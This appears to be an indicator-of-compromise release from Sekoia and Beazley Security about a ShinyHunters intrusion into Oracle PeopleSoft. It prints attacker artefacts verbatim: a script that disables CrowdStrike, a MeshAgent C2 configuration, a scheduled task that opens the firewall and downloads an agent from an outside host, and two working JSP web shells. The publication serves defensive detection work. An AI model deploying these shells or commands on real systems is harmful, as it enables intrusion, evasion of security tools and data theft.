Indicators of compromise (IOCs) related to the ShinyHunters Oracle PeopleSoft incident. This research was conducted jointly by Sekoia and Beazley Security, with the IOCs provided by Beazley Security.

cs_disable.cmd

C:\\Windows\\Temp\\.bea-cache\\cs_disable.cmd
C:\\Windows\\system32\\services.exe
findstr  /i cs
icacls  C:\\Program Files\\CrowdStrike /grant Administrators:F /t
icacls  C:\\Windows\\System32\\drivers\\CrowdStrike /grant Administrators:F /t
net  stop CSFalconService
reg  add HKLM\\SYSTEM\\CurrentControlSet\\Services\\CSDeviceControl /v Start /t REG_DWORD /d 4 /f
reg  add HKLM\\SYSTEM\\CurrentControlSet\\Services\\CSFalconService /v Start /t REG_DWORD /d 4 /f
reg  add HKLM\\SYSTEM\\CurrentControlSet\\Services\\CSFirmwareAnalysis /v Start /t REG_DWORD /d 4 /f
reg  add HKLM\\SYSTEM\\CurrentControlSet\\Services\\csagent /v Start /t REG_DWORD /d 4 /f
reg  delete HKLM\\SYSTEM\\CurrentControlSet\\Services\\CSFalconService /v LaunchProtected /f
takeown  /f C:\\Program Files\\CrowdStrike /r /d y

egress_test.cmd

echo off
set SN=[%]1
if "[%]SN[%]"=="" set SN=[REDACTED]
powershell -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; [
Net.ServicePointManager]::ServerCertificateValidationCallback={[[$]]true}; try { [[$]]r=Invoke-WebRequest -Uri '
https://[%]SN[%]:444/agent.ashx' -UseBasicParsing -TimeoutSec 12; Write-Output ('curl='+[[$]]r.StatusCode) } cat
ch { Write-Output ('curl=err '+[[$]]_.Exception.Message) }"

MeshAgent configuration

MeshName=azure-ops
MeshType=2
MeshID=0xF58ECCF42B32B5E146C5264F372501FB6EC415BCDFD304BEAFC6EC5BBEEE39B3DA5888A08361221067E9A1817F5BC05B
ServerID=9E67C900E74E2DD239C1298A24D7ECDC3A20EB966E4C441D0108D581D870DC1A9DA4C4E27449938D4D798CF025BCB7ED
MeshServer=wss://hrtl.[REDACTED]:444/agent.ashx
ignoreProxyFile=1
ignoreAgentCertificate=1

meshagent_task.cmd

schtasks /create /tn MeshFwFix /tr "powershell.exe -nop -w hidden -c "netsh advfirewall set allprofiles state on
; netsh advfirewall firewall add rule name=AllowMeshC2 dir=out action=allow protocol=TCP remoteip=142.11.200.186
 remoteport=443; curl.exe -sk -o C:\Windows\Temp\ma.exe hxxps://azurenetfiles.net/meshagents?id=4"" /sc once /st
 00:00 /rl highest /f

orau.jsp

<%@ page import="java.util.*,java.io.*" %>
<%
    if (request.getParameter("oracle") != null) {
        Process p = Runtime.getRuntime().exec(request.getParameter("oracle"));
        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = in.readLine()) != null) {
            out.println(line);
        }
    }
%>

webpack.jsp

<[%]@ page import="java.net.URL" [%]>
<[%]@ page import="java.net.URLClassLoader" [%]>
<[%]@ page import="java.util.Arrays" [%]>
<[%]@ page import="java.util.Base64" [%]>
<[%]
    try {
        if (request != null && "POST".equals(request.getMethod())) {
            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
            byte[] decode = Base64.getDecoder().decode(request.getParameter("view"));
            if (decode.length < 16) {
                return;
            }
            javax.crypto.spec.SecretKeySpec secretKeySpec = new javax.crypto.spec.SecretKeySpec(Arrays.copyOfRange(decode, decode.length - 16, decode.length), "AES");
            c.init(2, secretKeySpec);
            byte[] code = c.doFinal(Arrays.copyOfRange(decode, 0, decode.length - 16));
            ClassLoader classLoader = new URLClassLoader(new URL[]{}, Thread.currentThread().getContextClassLoader());
            java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new java.lang.Class[]{byte[].class, int.class, int.class});
            defineClass.setAccessible(true);
            c.init(1, secretKeySpec);
            response.getWriter().println(
                    "<html><!--" + java.util.Base64.getEncoder().encodeToString(c.doFinal(((Class<?>) defineClass.invoke(classLoader, code, 0, code.length)).newInstance().toString().getBytes())) + "--></html>"
            );
            response.getWriter().flush();
            return;
        }
    } catch (Throwable e) {
    }
[%]>%